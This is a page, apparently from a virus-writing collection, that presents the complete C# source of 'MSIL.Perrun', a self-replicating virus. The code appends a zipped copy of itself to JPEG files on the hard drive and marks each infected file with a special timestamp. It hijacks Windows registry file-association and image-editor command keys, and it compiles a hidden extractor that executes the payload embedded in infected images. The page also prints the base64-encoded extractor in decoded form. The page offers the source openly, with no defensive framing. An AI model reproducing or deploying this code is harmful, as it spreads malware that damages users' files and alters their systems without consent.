    return To index | download demo package!

    /* MSIL.Perrun (.NET 3.0 or above)
     * alcopaul
     * May 28, 2011
     *
     *
     * This program appends a zipped file of itself to jpegs found in the hard drive and modifies jpeg files and the environment
     * such that it can be executed in a jpeg and spread to other jpeg files. It creates "extrk.exe" in root directory which serves as a virtual
     * machine for the virus to operate. The only way that this program be executed in another clean system is viewing the affected jpeg
     * in a compression file program (WinRAR). This is a possibility since the affected image includes an instruction for the potential
     * execution of the program. Otherwise, the embedded file can lie dormant for years unless the user accidentally
     * or purposely drags and drops a jpeg in WinRAR.
     *
     *
     * Methods:
     *
     * 1.) Zips itself
     * 2.) Looks for jpegs in hardrive
     * 3.) Checks if jpeg is already modified
     * 4.) If no, appends itself to the jpeg and modifies the jpeg to include a little watermark.
     * 5.) Sets modification marker
     * 6.) Otherwise, looks for unmodified jpegs
     *
     * Note: Infected JPEG files that can be opened by winrar must have the size of 1MB or less. 7zip can do past this limit.
     *
     *
     */

    ////// virus part ///////////

    using System;
    using System.IO;
    using System.IO.Packaging;
    using System.Reflection;
    using System.Drawing;
    using System.Drawing.Imaging;
    using System.CodeDom;
    using System.CodeDom.Compiler;
    using Microsoft.CSharp;
    using System.Text;
    using Microsoft.Win32;

    namespace ConsoleApplication4
    {
        class Program
        {
            private static int counter = 0;
            private static string zipfile = "";
            private static string extractor = "dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLklPLlBhY2thZ2luZzsNCnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsNCg0KbmFtZXNwYWNlIENvbnNvbGVBcHBsaWNhdGlvbjE3DQp7DQogICAgY2xhc3MgUHJvZ3JhbQ0KICAgIHsNCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSBhcmdzKQ0KICAgICAgICB7DQogICAgICAgICAgICBzdHJpbmcgeHBhcmFtc3ggPSAiIjsNCiAgICAgICAgICAgIGZvciAoaW50IGNpayA9IDA7IGNpayA8IGFyZ3MuTGVuZ3RoOyBjaWsrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICB4cGFyYW1zeCArPSBhcmdzW2Npa10gKyAiICI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBQcm9jZXNzU3RhcnRJbmZvIGYgPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbygiMHhXRUUiLCBAIjF4UVJSICIgKyBAeHBhcmFtc3gpOw0KICAgICAgICAgICAgUHJvY2Vzcy5TdGFydChmKTsNCiAgICAgICAgICAgIEZpbGVJbmZvIHlmaWxleCA9IG5ldyBGaWxlSW5mbyh4cGFyYW1zeCk7DQogICAgICAgICAgICBpZiAoeWZpbGV4Lkxhc3RXcml0ZVRpbWUuSG91ci5Ub1N0cmluZygpICsgeWZpbGV4Lkxhc3RXcml0ZVRpbWUuTWludXRlLlRvU3RyaW5nKCkgKyB5ZmlsZXguTGFzdFdyaXRlVGltZS5TZWNvbmQuVG9TdHJpbmcoKSA9PSAiNjY2IikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBGaWxlU3RyZWFtIGggPSBuZXcgRmlsZVN0cmVhbShAeHBhcmFtc3gsIEZpbGVNb2RlLk9wZW4sIEZpbGVBY2Nlc3MuUmVhZCk7DQogICAgICAgICAgICAgICAgaW50IGogPSAoaW50KWguTGVuZ3RoOw0KICAgICAgICAgICAgICAgIEJpbmFyeVJlYWRlciBiID0gbmV3IEJpbmFyeVJlYWRlcihoKTsNCiAgICAgICAgICAgICAgICBpbnQgcG9zID0gaiAtIDA1ODg4Ow0KICAgICAgICAgICAgICAgIGludCByZXF1aXJlZCA9IDA1ODg4Ow0KICAgICAgICAgICAgICAgIGIuQmFzZVN0cmVhbS5TZWVrKHBvcywgU2Vla09yaWdpbi5CZWdpbik7DQogICAgICAgICAgICAgICAgYnl0ZVtdIGJ5ID0gYi5SZWFkQnl0ZXMocmVxdWlyZWQpOw0KICAgICAgICAgICAgICAgIGIuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICBoLkNsb3NlKCk7DQogICAgICAgICAgICAgICAgc3RyaW5nIGtvcCA9IFBhdGguR2V0UmFuZG9tRmlsZU5hbWUoKTsNCiAgICAgICAgICAgICAgICBzdHJpbmcgZGlyeCA9IERpcmVjdG9yeS5HZXRDdXJyZW50RGlyZWN0b3J5KCk7DQogICAgICAgICAgICAgICAgaWYgKGRpcnguRW5kc1dpdGgoIlxcIikgPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBkaXJ4ID0gZGlyeCArICJcXCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEZpbGVTdHJlYW0gbCA9IG5ldyBGaWxlU3RyZWFtKGRpcnggKyBrb3AgKyAiLnppcCIsIEZpbGVNb2RlLk9wZW5PckNyZWF0ZSwgRmlsZUFjY2Vzcy5SZWFkV3JpdGUpOw0KICAgICAgICAgICAgICAgIEJpbmFyeVdyaXRlciBrID0gbmV3IEJpbmFyeVdyaXRlcihsKTsNCiAgICAgICAgICAgICAgICBrLldyaXRlKGJ5KTsNCiAgICAgICAgICAgICAgICBrLkZsdXNoKCk7DQogICAgICAgICAgICAgICAgay5DbG9zZSgpOw0KICAgICAgICAgICAgICAgIGwuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICBQYWNrYWdlIHBrZ21haW4gPSBaaXBQYWNrYWdlLk9wZW4oZGlyeCArIGtvcCArICIuemlwIiwgRmlsZU1vZGUuT3BlbiwgRmlsZUFjY2Vzcy5SZWFkKTsNCiAgICAgICAgICAgICAgICBTdHJlYW0gZ2ggPSBwa2dtYWluLkdldFBhcnQobmV3IFVyaSgiL21hZ2ljLmV4ZSIsIFVyaUtpbmQuUmVsYXRpdmUpKS5HZXRTdHJlYW0oKTsNCiAgICAgICAgICAgICAgICBNZW1vcnlTdHJlYW0gZnNtID0gbmV3IE1lbW9yeVN0cmVhbSgpOw0KICAgICAgICAgICAgICAgIGludCBkYXRhOw0KICAgICAgICAgICAgICAgIGludCBjb3VudCA9IDA7DQogICAgICAgICAgICAgICAgd2hpbGUgKChkYXRhID0gZ2guUmVhZEJ5dGUoKSkgIT0gLTEpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBmc20uV3JpdGVCeXRlKChieXRlKWRhdGEpOw0KICAgICAgICAgICAgICAgICAgICBjb3VudCArPSAxOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBGaWxlU3RyZWFtIG91dFN0cmVhbSA9IEZpbGUuT3BlbldyaXRlKGRpcnggKyBrb3AgKyAiLmV4ZSIpOw0KICAgICAgICAgICAgICAgIGZzbS5Xcml0ZVRvKG91dFN0cmVhbSk7DQogICAgICAgICAgICAgICAgb3V0U3RyZWFtLkZsdXNoKCk7DQogICAgICAgICAgICAgICAgb3V0U3RyZWFtLkNsb3NlKCk7DQogICAgICAgICAgICAgICAgZnNtLkNsb3NlKCk7DQogICAgICAgICAgICAgICAgcGtnbWFpbi5DbG9zZSgpOw0KICAgICAgICAgICAgICAgIEZpbGUuRGVsZXRlKGRpcnggKyBrb3AgKyAiLnppcCIpOw0KICAgICAgICAgICAgICAgIFByb2Nlc3MuU3RhcnQoZGlyeCArIGtvcCArICIuZXhlIikuV2FpdEZvckV4aXQoKTsNCiAgICAgICAgICAgICAgICBGaWxlLkRlbGV0ZShkaXJ4ICsga29wICsgIi5leGUiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCg0K";
            private static string database = "[encoded data, 8448 characters]";
            private static byte[] picbyte = Convert.FromBase64String(database);
            static void Main(string[] args)
            {
                Module gxc = Assembly.GetExecutingAssembly().GetModules()[0];
                string self = gxc.FullyQualifiedName;
                string currLoc = Path.GetDirectoryName(self);
                string root = Directory.GetDirectoryRoot(currLoc);
                DirectoryInfo dirs = new DirectoryInfo(@root);
                zipfile = PrepareZip(root, self);
                string extract = root + "extrk.exe";
                byte[] zippedbyte = File.ReadAllBytes(zipfile);
                RegistryKey RegKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.jpg", true);
                string[] subkeys = RegKey.GetValueNames();
                foreach (string skey in subkeys)
                {
                    RegKey.DeleteValue(skey);
                }
                RegKey.SetValue("Application", "mspaint.exe", RegistryValueKind.String);
                RegistryKey RegKey1 = Registry.ClassesRoot.OpenSubKey(@"Applications\mspaint.exe\shell\edit\command", true);
                RegistryKey RegKey2 = Registry.ClassesRoot.OpenSubKey(@"Applications\shimgvw.dll\shell\open\command");
                string g = RegKey2.GetValue("").ToString();
                string[] jj = g.Split(new char[] { ' ' });
                RegKey1.SetValue("", extract + " %1", RegistryValueKind.ExpandString);
                string extrk = Encoding.UTF8.GetString(Convert.FromBase64String(extractor));
                if (File.Exists(extract) == false)
                {
                    extrk = extrk.Replace("05888", "0" + zippedbyte.Length.ToString());
                    extrk = extrk.Replace("0xWEE", jj[0]);
                    extrk = extrk.Replace("1xQRR", jj[1]);
                    bool y = BuildExe(extract, extrk);
                }
                Stream s = new MemoryStream(picbyte);
                Image ghostImg = Image.FromStream(s);
                AndLetsRock(dirs, ghostImg, zippedbyte);
                ghostImg.Dispose();
                s.Close();
                File.Delete(zipfile);
            }
            private static string PrepareZip(string dir, string self)
            {
                string ranname = dir + Path.GetRandomFileName() + ".zip";
                Package objZip = ZipPackage.Open(ranname, FileMode.OpenOrCreate, FileAccess.ReadWrite);
                Module gxc = Assembly.GetExecutingAssembly().GetModules()[0];
                string odtx = gxc.FullyQualifiedName;
                Uri g = new Uri("/magic.exe", UriKind.Relative);
                if (objZip.PartExists(g) == false)
                {
                    PackagePart pkgPart = objZip.CreatePart(g, System.Net.Mime.MediaTypeNames.Application.Octet, CompressionOption.Maximum);
                    byte[] bg = File.ReadAllBytes(self);
                    pkgPart.GetStream().Write(bg, 0, bg.Length);
                }
                objZip.Close();
                return ranname;
            }
            public static void WriteX(FileStream s, byte[] g, byte[] k)
            {
                BinaryWriter w = new BinaryWriter(s);
                w.BaseStream.Seek(0, SeekOrigin.Begin);
                w.Write(g);
                w.Write(k);
                w.Flush();
                w.Close();
            }
            private static void jpeginfect(string fname, Image bg, byte[] zipbyte)
            {
                Image backImg = Image.FromFile(fname);
                Graphics g = Graphics.FromImage(backImg);
                MemoryStream fsm = new MemoryStream();
                g.DrawImage(bg, 0, 0);
                backImg.Save(fsm, ImageFormat.Jpeg);
                g.Dispose();
                backImg.Dispose();
                FileStream outStream = File.OpenWrite(fname);
                fsm.WriteTo(outStream);
                outStream.Flush();
                outStream.Close();
                fsm.Close();
                byte[] modjpg = File.ReadAllBytes(fname);
                FileStream lll = new FileStream(fname, FileMode.OpenOrCreate, FileAccess.ReadWrite);
                WriteX(lll, modjpg, zipbyte);
                lll.Close();
                File.SetLastWriteTime(fname, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 6, 6, 6));

            }
            private static void AndLetsRock(DirectoryInfo dir, Image lol, byte[] kkk)
            {
                FileInfo[] filesx = dir.GetFiles("*.jpg");
                foreach (FileInfo filex in filesx)
                {
                    string filenamex = filex.FullName;
                    try
                    {
                        if (filex.LastWriteTime.Hour.ToString() + filex.LastWriteTime.Minute.ToString() + filex.LastWriteTime.Second.ToString() == "666")
                        {
                            continue;
                        }
                        else
                        {
                            try
                            {
                                jpeginfect(filenamex, lol, kkk);
                                counter++;
                            }
                            catch
                            {
                                continue;
                            }
                        }
                        if (counter == 10)
                        {
                            return;
                        }
                    }
                    catch
                    {
                        continue;
                    }
                }
                DirectoryInfo[] dirs = dir.GetDirectories("*.*");
                foreach (DirectoryInfo xdir in dirs)
                {
                    try
                    {
                        if (counter == 10)
                        {
                            return;
                        }
                        AndLetsRock(xdir,lol,kkk);
                    }
                    catch
                    {
                        continue;
                    }
                }

            }
            private static bool BuildExe(string zname, string codey)
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.ReferencedAssemblies.Add(@Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)+ @"\Reference Assemblies\Microsoft\Framework\v3.0\WindowsBase.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:winexe";
                ocp.OutputAssembly = zname;
                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                foreach (CompilerError xvce in zresults.Errors)
                {
                    Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
                }

                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
        }
    }

    ///////// decoded extractor variable in virus ///////////////

    using System;
    using System.IO;
    using System.IO.Packaging;
    using System.Diagnostics;

    namespace ConsoleApplication17
    {
        class Program
        {
            static void Main(string[] args)
            {
                string xparamsx = "";
                for (int cik = 0; cik < args.Length; cik++)
                {
                    xparamsx += args[cik] + " ";
                }
                ProcessStartInfo f = new ProcessStartInfo("0xWEE", @"1xQRR " + @xparamsx);
                Process.Start(f);
                FileInfo yfilex = new FileInfo(xparamsx);
                if (yfilex.LastWriteTime.Hour.ToString() + yfilex.LastWriteTime.Minute.ToString() + yfilex.LastWriteTime.Second.ToString() == "666")
                {
                    FileStream h = new FileStream(@xparamsx, FileMode.Open, FileAccess.Read);
                    int j = (int)h.Length;
                    BinaryReader b = new BinaryReader(h);
                    int pos = j - 05888;
                    int required = 05888;
                    b.BaseStream.Seek(pos, SeekOrigin.Begin);
                    byte[] by = b.ReadBytes(required);
                    b.Close();
                    h.Close();
                    string kop = Path.GetRandomFileName();
                    string dirx = Directory.GetCurrentDirectory();
                    if (dirx.EndsWith("\\") == false)
                    {
                        dirx = dirx + "\\";
                    }
                    FileStream l = new FileStream(dirx + kop + ".zip", FileMode.OpenOrCreate, FileAccess.ReadWrite);
                    BinaryWriter k = new BinaryWriter(l);
                    k.Write(by);
                    k.Flush();
                    k.Close();
                    l.Close();
                    Package pkgmain = ZipPackage.Open(dirx + kop + ".zip", FileMode.Open, FileAccess.Read);
                    Stream gh = pkgmain.GetPart(new Uri("/magic.exe", UriKind.Relative)).GetStream();
                    MemoryStream fsm = new MemoryStream();
                    int data;
                    int count = 0;
                    while ((data = gh.ReadByte()) != -1)
                    {
                        fsm.WriteByte((byte)data);
                        count += 1;
                    }
                    FileStream outStream = File.OpenWrite(dirx + kop + ".exe");
                    fsm.WriteTo(outStream);
                    outStream.Flush();
                    outStream.Close();
                    fsm.Close();
                    pkgmain.Close();
                    File.Delete(dirx + kop + ".zip");
                    Process.Start(dirx + kop + ".exe").WaitForExit();
                    File.Delete(dirx + kop + ".exe");
                }
            }
        }
    }

    /////////////////////////////////

what will you do to 9968 to get 8966? SOOWAOD will lead you to your destiny..